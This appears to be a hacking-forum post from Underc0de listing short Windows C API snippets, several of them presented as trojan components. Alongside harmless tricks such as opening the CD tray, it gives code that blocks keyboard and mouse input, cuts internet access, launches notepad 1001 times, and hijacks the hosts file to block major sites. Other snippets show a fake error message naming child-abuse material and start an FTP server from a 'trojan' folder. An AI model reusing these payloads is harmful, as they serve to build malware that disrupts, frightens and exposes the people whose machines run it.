Underc0de

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APIs C
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Abrir bandeja de CD-rom:

#include <mmsystem.h>
mciSendString("Set CDAudio Door Open",NULL,0,GetActiveWindow());
mciSendString("Set CDAudio Door Open",NULL,0,NULL);


Cerra bandeja lo mismo:
mciSendString("Set CDAudio Door Closed",NULL,0,GetActiveWindow());
mciSendString("Set CDAudio Door Closed",NULL,0,NULL);

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Ocultar barra de tareas:
HWND reg;
reg = FindWindow("Shell_TrayWnd",0);
ShowWindow(reg, SW_HIDE);

Mostrar barra de tareas:
HWND reg;
reg = FindWindow("Shell_TrayWnd",0);
ShowWindow(reg, SW_SHOW);

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Ocultar aplicacion en barra de tareas:

para ocultar:
ShowWindow(Application.Handle, SW_HIDE);
para mostrar:
ShowWindow(Application.Handle, SW_SHOW);

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Ocultar boton de inicio:
HRGN Rgn;
HANDLE tWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
Rgn = CreateRectRgn(0, 0, 0, 0);
SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), Rgn, true);

Mostrar boton de inicio:
HANDLE tWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
SetWindowRgn(FindWindowEx(tWnd, 0, "BUTTON", 0), 0, true);

Otra forma casi la misma:
Ocultar boton inicio:
HANDLE tWnd,bWnd ;
tWnd = FindWindow("Shell_TrayWnd", 0);
bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
ShowWindow (bWnd, SW_HIDE);

Mostrar:
HANDLE tWnd,bWnd;
tWnd = FindWindow("Shell_TrayWnd", 0);
bWnd=FindWindowEx(tWnd, 0, "BUTTON", 0);
  ShowWindow (bWnd, SW_NORMAL);

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Bloquear mouse y teclado

BlockInput(true);
Sleep(600000);
return 0;

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Change Foreground Window Title

HWND Window;
Window = GetForegroundWindow();
SetWindowText(Window, L"Your text here");
Sleep(10000);
return 0;

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Turn Off Monitor

SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(2000);
return 0;

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Swap Mouse Buttons


SwapMouseButton(true);
return 0;

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Crazy Mouse


int i,x,y;
for(i= 0; i < 201; i++) {
x = rand()%1001;
y = rand()%801;
SetCursorPos(x,y);
Sleep(200);
}
return 0;

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Open a website


ShellExecute(NULL,L"open",L"http://www.yourwebsitehere.com/",NULL,NULL,SW_MAXIMIZE);
return 0;

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Disable Taskbar


HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
ShowWindow(hWin,false);
return 0;

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MessageBox / Error


MessageBox(NULL,TEXT("Error loading C:\\Documents and Settings\\All Users\\Child Porn"),TEXT("Error"),MB_OK | MB_ICONEXCLAMATION );
return 0;

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Hide Current Window


HWND hWin;
hWin = GetForegroundWindow();
ShowWindow(hWin,false);
return 0;

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Play a sound


PlaySound(TEXT("C:\\Windows\\trojan\\sound.wav"), NULL, SND_FILENAME);
return 0;

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Disable Internet


system("ipconfig /release");
return 0;

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Open & Close CD Drive


mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
return 0;

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Notepad Bomber


int i;
for(i= 0; i < 1001; i++) {
ShellExecute(NULL,L"open",L"notepad.exe",NULL,NULL,SW_MAXIMIZE);
}
return 0;

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Edits Hosts file to block sites


  FILE *fp;
  int i;
  char hosts_file_path[FILENAME_MAX];
  char ip[] = "0.0.0.0";

  /* Add your sites in the below list. */
  char *blist[] = {
    "www.orkut.com",
    "orkut.com",
    "www.google.com",
    "google.com",
    "www.google.co.in",
    "google.co.in",
    "www.gmail.com",
    "gmail.com",
    "www.facebook.com",
    "facebook.com",
    "www.yahoo.com",
    "yahoo.com",
    "www.twitter.com",
    "twitter.com",
    "#"
  };

  strcpy (hosts_file_path, getenv ("SystemRoot"));
  strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");

  if ((fp = fopen (hosts_file_path, "a")) == NULL)
    return 0;

  fputs ("\n", fp);
  for (i = 0; blist[i][0] != '#'; i++)
    {
      fputs (ip, fp);
      fputs ("        ", fp);
      fputs (blist[i], fp);
      fputs ("\n", fp);
    }

  fclose (fp);
  system("echo ' '");
  return 0;


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Start FTP server (download SlimFTPd and put it in your trojan folder)


ShellExecute(NULL,L"open",L"C:\\Windows\\trojan\\SlimFTPd.exe",NULL,NULL,SW_MAXIMIZE);
return 0;